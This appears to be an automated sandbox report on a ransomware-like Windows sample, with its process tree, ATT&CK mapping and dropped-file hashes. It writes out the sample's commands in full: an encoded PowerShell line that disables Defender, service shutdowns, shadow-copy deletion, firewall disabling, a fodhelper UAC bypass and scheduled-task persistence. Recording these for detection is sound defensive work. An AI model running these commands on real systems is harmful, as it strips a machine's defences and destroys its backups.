PID 2348 wrote to memory of 3584 2348 chrome.exe 106 PID 2348 wrote to memory of 4632 2348 chrome.exe 108 PID 2348 wrote to memory of 4384 2348 chrome.exe 109 PID 2348 wrote to memory of 4384 2348 chrome.exe 109 PID 2712 wrote to memory of 2932 2712 13thstreetrep.org_chromess.exe 110 PID 2348 wrote to memory of 1200 2348 chrome.exe 113 PID 2348 wrote to memory of 224 2348 chrome.exe 114 PID 2348 wrote to memory of 1200 2348 chrome.exe 113 PID 2348 wrote to memory of 224 2348 chrome.exe 114 PID 2712 wrote to memory of 4232 2712 13thstreetrep.org_chromess.exe 115 PID 2348 wrote to memory of 2776 2348 chrome.exe 116 PID 2348 wrote to memory of 2776 2348 chrome.exe 116 PID 2712 wrote to memory of 1388 2712 13thstreetrep.org_chromess.exe 118 PID 5052 wrote to memory of 1044 5052 fodhelper.exe 120 PID 2348 wrote to memory of 4492 2348 chrome.exe 123 PID 2348 wrote to memory of 4492 2348 chrome.exe 123 PID 2712 wrote to memory of 4524 2712 13thstreetrep.org_chromess.exe 126 PID 2712 wrote to memory of 5684 2712 13thstreetrep.org_chromess.exe 127 PID 2712 wrote to memory of 5180 2712 13thstreetrep.org_chromess.exe 129 PID 2712 wrote to memory of 5844 2712 13thstreetrep.org_chromess.exe 134 PID 2712 wrote to memory of 5864 2712 13thstreetrep.org_chromess.exe 136 PID 2712 wrote to memory of 1188 2712 13thstreetrep.org_chromess.exe 137 PID 2712 wrote to memory of 5960 2712 13thstreetrep.org_chromess.exe 138 PID 2712 wrote to memory of 5968 2712 13thstreetrep.org_chromess.exe 139 PID 2712 wrote to memory of 5948 2712 13thstreetrep.org_chromess.exe 140 PID 2712 wrote to memory of 5944 2712 13thstreetrep.org_chromess.exe 141 PID 2712 wrote to memory of 5936 2712 13thstreetrep.org_chromess.exe 142 PID 2712 wrote to memory of 2392 2712 13thstreetrep.org_chromess.exe 181 PID 2712 wrote to memory of 6076 2712 13thstreetrep.org_chromess.exe 151 PID 5944 wrote to memory of 1480 5944 cmd.exe 152 PID 5968 wrote to memory of 4376 5968 cmd.exe 153 PID 1188 wrote to memory of 3908 1188 cmd.exe 154 PID 5948 wrote to memory of 748 5948 cmd.exe 155 PID 5936 wrote to memory of 3976 5936 cmd.exe 156 PID 5960 wrote to memory of 3896 5960 cmd.exe 157 PID 748 wrote to memory of 2220 748 net.exe 158 PID 2712 wrote to memory of 296 2712 13thstreetrep.org_chromess.exe 159 PID 2712 wrote to memory of 1096 2712 13thstreetrep.org_chromess.exe 160 PID 2712 wrote to memory of 4568 2712 13thstreetrep.org_chromess.exe 161 PID 2712 wrote to memory of 2696 2712 13thstreetrep.org_chromess.exe 165 PID 2712 wrote to memory of 280 2712 13thstreetrep.org_chromess.exe 189 PID 2712 wrote to memory of 5020 2712 13thstreetrep.org_chromess.exe 169 PID 5844 wrote to memory of 3736 5844 cmd.exe 186 PID 4568 wrote to memory of 2948 4568 net.exe 172 PID 5844 wrote to memory of 5496 5844 cmd.exe 173 PID 2348 wrote to memory of 5212 2348 chrome.exe 176 PID 2348 wrote to memory of 4896 2348 chrome.exe 185 PID 2348 wrote to memory of 3736 2348 chrome.exe 186 PID 2348 wrote to memory of 2780 2348 chrome.exe 187 PID 2348 wrote to memory of 2568 2348 chrome.exe 200 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\13thstreetrep.org_chromess.exe"C:\Users\Admin\AppData\Local\Temp\13thstreetrep.org_chromess.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2712 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://13thstreetrep.org2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2348 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffe78c9c728,0x7ffe78c9c734,0x7ffe78c9c7403⤵PID:1592
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1660,i,17829011290263035911,1282430355257503220,262144 --field-trial-handle=1960,i,8212661396348043840,15264175402147188418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1956 /prefetch:23⤵PID:3584
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2184,i,13485440182628525740,7145994371505963096,524288 --field-trial-handle=1960,i,8212661396348043840,15264175402147188418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2180 /prefetch:33⤵
- System Time Discovery
PID:4632
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2372,i,10328873952962418174,13377045407802118014,524288 --field-trial-handle=1960,i,8212661396348043840,15264175402147188418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2528 /prefetch:83⤵PID:4384
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3060,i,6325922019512798575,16779464450929151441,2097152 --field-trial-handle=1960,i,8212661396348043840,15264175402147188418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3208 /prefetch:13⤵PID:1200
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3076,i,2181526900025808309,12330443391350631988,2097152 --field-trial-handle=1960,i,8212661396348043840,15264175402147188418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3248 /prefetch:13⤵PID:224
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4404,i,7999843824012500644,14082072336057487616,2097152 --field-trial-handle=1960,i,8212661396348043840,15264175402147188418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4412 /prefetch:23⤵PID:2776
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4576,i,10985205848998909441,2840472926838464707,2097152 --field-trial-handle=1960,i,8212661396348043840,15264175402147188418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4572 /prefetch:13⤵PID:4492
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5500,i,13345174179488244891,10608353383462270315,524288 --field-trial-handle=1960,i,8212661396348043840,15264175402147188418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5508 /prefetch:83⤵PID:5212
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=208,i,14422349008589554420,17773797923915442389,524288 --field-trial-handle=1960,i,8212661396348043840,15264175402147188418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5780 /prefetch:83⤵PID:4896
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5720,i,4500601687526974004,2766322837028400379,524288 --field-trial-handle=1960,i,8212661396348043840,15264175402147188418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5772 /prefetch:83⤵PID:3736
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5804,i,4906305945847472037,16183606577610278118,524288 --field-trial-handle=1960,i,8212661396348043840,15264175402147188418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5808 /prefetch:83⤵PID:2780
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5136,i,5741339775242933858,574724893210792062,262144 --field-trial-handle=1960,i,8212661396348043840,15264175402147188418,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1820 /prefetch:83⤵PID:2568
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1472
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4748
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:2236
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3544
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:4484
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:4640
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:1104
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:4400
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:3744
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:5052 -
C:\Users\Admin\AppData\Local\Temp\13thstreetrep.org_chromess.exe"C:\Users\Admin\AppData\Local\Temp\13thstreetrep.org_chromess.exe"3⤵PID:1044
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1968
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:2932
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4232
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1388
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:4524
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\13thstreetrep.org_chromess.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5684
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\13thstreetrep.org_chromess.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5180
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:5844 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3736
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:5496
-
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5864
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1188 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:3908
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5960 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
PID:3896
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5968 -
C:\Windows\system32\whoami.exewhoami3⤵PID:4376
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5948 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:748 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:2220
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5944 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:1480
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5936 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:3976
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\13thstreetrep.org_chromess.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2392
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:6076
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:296
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:1096
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:4568 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:2948
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2696
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:280
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:5020
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:3056
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2012
-
C:\Users\Admin\AppData\Local\Temp\13thstreetrep.org_chromess.exeC:\Users\Admin\AppData\Local\Temp\13thstreetrep.org_chromess.exe1⤵PID:5712
-
C:\Users\Admin\AppData\Local\Temp\13thstreetrep.org_chromess.exeC:\Users\Admin\AppData\Local\Temp\13thstreetrep.org_chromess.exe1⤵PID:5808
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:5348
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:2392
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵PID:280
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260504_114615.jpg
- Size 128KB
- SHA256 4df95f238912ee2eda01ab906ed5010076f2bcf045a232260967c9c5b2cd1fa5
- MD5 2d75e0496373371bee1762bf88ada9b7
- SHA1 9925b22770903431ee98cd3331e28b63a22614ea
- SHA512 2f337f6f18d52c5b24b247decfeddfcaf55e3799d989c27000f22859b6abcb367a62179f178642ef15b6bac088d89ce26f48898c0c7c523643d2c3acb9faf417
- SSDEEP 3072:iHAiDNQ5jGC1x45ABhr4h3++qJDNJagvAcib:KFGSiWDq9SgIb
- TLSH T1A2D37F1398199BC2E12D52D5FE171F9C6E462B4DE88739FF04624ECB3E652660C9E03E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 fcfce141778439fe583ab23a8b1c9b1cc1e8e1de41b4efecb960f9ca05d48f1e
- MD5 b203281737f4ce5c1c24a98e4e706de8
- SHA1 87f18889d58803d4a98f0e15b5ee383b48e7b6e9
- SHA512 58f9efa7c8ae1895ce01bc3b69fd73b5d2851550d60b73bacea2d898b9cab96ab9c87d7498f0faebc4401f1c8cc15d47c8d33d06267d4625cf19d7fa13020aa3
- SSDEEP 1536:4BUJlXLyKxdMBIGvh7bWaTYVd9w1xtsHaL1vc140zzOCBVYBro:4BUJlbyKjMDJrCdy1zQm1Ue0zzdYpo
- TLSH T11B630836CA33FCD4777E3D80E01039561C483E6B97B966BCFA811DA628A5144DF3E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 65KB
- SHA256 e453b431d9a0990c310746041506977961056a054c2668f610f2016928b15788
- MD5 09465461833ab798ddd76f1496769c6e
- SHA1 87e88c088644e19b829099c22c82e0a9c2f62e68
- SHA512 6504a8d92a317303b8c70091410bb022c75c8dcf0bb3dc9103162f2b5d1661f6db105cc8e9647e9b81915e77f537642697ff9b645ae03083166b68dea1b0dc4f
- SSDEEP 1536:YBUJlXLyKxdMBIGvh7bWaTYVd9w1xtsHaL1vc140zzOCBVYBrj:YBUJlbyKjMDJrCdy1zQm1Ue0zzdYpj
- TLSH T1F3630836CB33FCD4777E3D80E05039561C482E6B97B566BCFA811DAA28A5140DF3E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 8ef655403d75da545caf661ff4b62cc7e41a8eb4e01bda43fd48cca5d9add1cf
- MD5 90e09eaa4feba34cdab26551a45c168a
- SHA1 4e8f6924c41302ddc39eb82f17e5604ab8470695
- SHA512 19b1fe69a77b90bd6ddf85524df747b824b7ed889a35caf28291a1ef425406f25cfc589041ad472ed0074e76a6d7fce8d771d3afeae31f9e8498dde7fb2b5be0
- TLSH T1BCE02BBBC821E83F0CFD0F5964518747EB40231A2BC0845F3A3E820C8FB463A059286C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 432B
- SHA256 e04f1109a48e6e7f7332b92ea6dd3f30b96e37d131b5e472c97569f159f614f5
- MD5 019777bea62322942472b706f8aa5faf
- SHA1 df8489827becf98ea2001070511512c55db9c9ec
- SHA512 471382a729a96ee560c8063294a9b611fbcf29715f1aec8ad72e7a7a3bdd9c39649aa45bfc4c50e6fcd6617dee4e67bef49ee4873fae7bd762593c55ee8246fd
- TLSH T1F1E07D22C3C0580DDFC92A7058955C44601187CCC84B4BC3E5710078FB1E7FB934B91E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 432B
- SHA256 004c8730f78ec13cedc156e56c56878e6bd35ab4ce9e8612dcf1cbc2bb641f68
- MD5 0f9424189126ec914d6f0845b3064c48
- SHA1 73eb1395f747a535f399b682e98d46feefacc515
- SHA512 b23012f80220499c0d144eb2e0f110934d29cbea6a9e5a016a66e1fdebbe6b4ce0bb333e74182501da1674384cce17fe1e6dde7381976aa02fd30815756d5112
- TLSH T1C0E08611C7D06849DF892EB158955C48511183CC884B47C3E5720458AB6E7FB865B51D
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 6KB
- SHA256 4cd40bfdc0c71a623cf48364097ef7d470df5307a44e561cc838a1c3635e13d7
- MD5 ed41781ca47db7775b55e6c15a48d161
- SHA1 a4556a8aa246357b950744c63bcf0164515d1d58
- SHA512 4cbbacd72b29650be16d81442da555a23373c9cb6dbff0a40b4e9517d9d846c53b468cec37ccfef6ab5acd65c697e5ae32e7f0be0144ee4e0d6bf19499957148
- SSDEEP 192:DP1xgRvEaIaEgdd3jW4Vu7Q1sfg1mxsDnKRXHGO8HM:DP1xgRvEaIaEgdd3jW4Vu7Q1AgmxsDnG
- TLSH T1D0E16AB7C2E48A6D891155F0AB152E1BCE5D0928936D3C5B88D4EF8F67F2972E30064F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 5bfe9fc7465b071953bf24392640e926443a7bed6bdb1250fb0961db06a29230
- MD5 c0244b48688d653abac6fd7366906e4c
- SHA1 1f1332a7bfc85099139277ab38df9d44bad1add6
- SHA512 6237be4bb0dc273fa72424c573edd442ec1c86f8fd460ecd3bf5634bd00e32f7505dfb3c7838a3765ac1c57d2f09f0534cee9ef55d2ac9135900fdbbd6b84250
- SSDEEP 192:sR6tqEa8U8ckKk0v7CMpAPRp2Ll+93Hsb+WNnVYbft2KaeO2NdIu6aycVyIsnAUp:sR6tqEa/f8wxUX1xw6h2F2Qu6ay4e
- TLSH T14F42E82EA910793B9CEBC329FA267757D7F5102161C42D84E6FC8A2C14EB5CD321741B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 13KB
- SHA256 11f5679241599a45c484209adfb0ef381976db32d51fa869f5e27aa0cd0b6977
- MD5 b0228a9b171b410f0f63f44b2e0d0678
- SHA1 91192ed3d2f65a6eb50fe5b093a14fd18f27cc7a
- SHA512 64fc484d44d743ef5f65b454b2ba024b630dc2653325442ef17fcc1d60dab260f08690c152fe3e4511822393297c3eda4fbbfbe926ace198fd063cd5c36d231e
- SSDEEP 192:sR6tqEasU8ckKk0v7CMpxPRpKLl+93Hsb+WNnVYbft2XaeO2NdIu6ay4VyIsnAUp:sR6tqEaPf8wxvX5xw6h2W2Qu6ayce
- TLSH T13952D72EA910793B9CE6C329F926BB57D7F5202161C42D44E6FC8A2C15EB5CD321B01B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 16KB
- SHA256 2623d3fa13459f2a770e5395e24d99dabc52762fb4534566ddfa4500ea92af44
- MD5 93a16bd13558d77c85a83614649fd874
